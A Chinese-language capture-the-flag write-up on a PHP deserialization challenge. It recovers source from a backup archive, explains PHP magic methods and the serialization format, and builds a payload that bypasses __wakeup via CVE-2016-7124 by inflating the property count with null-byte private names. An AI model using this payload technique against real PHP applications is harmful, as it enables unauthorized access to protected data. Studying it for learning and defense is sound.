提示备份文件 直接url/www.zip得到源代码
分别得到以下关键代码
<?php include ‘flag.php‘; error_reporting(0); class Name{ private $username = ‘nonono‘; private $password = ‘yesyes‘; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = ‘guest‘; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === ‘admin‘) { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!"; die(); } } } ?>
<?php include ‘class.php‘; $select = $_GET[‘select‘]; $res=unserialize(@$select); ?>
看来是一道php反序列化漏洞利用
先回顾以下前置知识
常见函数
construct():当一个类被创建时自动调用 destruct():当一个类被销毁时自动调用 invoke():当把一个类当作函数使用时自动调用 tostring():当把一个类当作字符串使用时自动调用 wakeup():当调用unserialize()函数时自动调用 sleep():当调用serialize()函数时自动调用 __call():当要调用的方法不存在或权限不足时自动调用
序列化后格式
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}
当目标对象被private、protected修饰时的构造方法。
__wakeup( )绕过
(CVE-2016-7124)
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本:
- PHP before 5.6.25
- 7.x before 7.0.10
构造序列化
<?php class Name{ private $username = ‘nonono‘; private $password = ‘yesyes‘; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new name(‘admin‘,100); $b=serialize($a); echo $b; ?>
得到
跳过反序列化时wake_up函数的执行
令对象属性个数为3 并且考虑到修饰符为private 需要在类名左右加上%00
构造
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag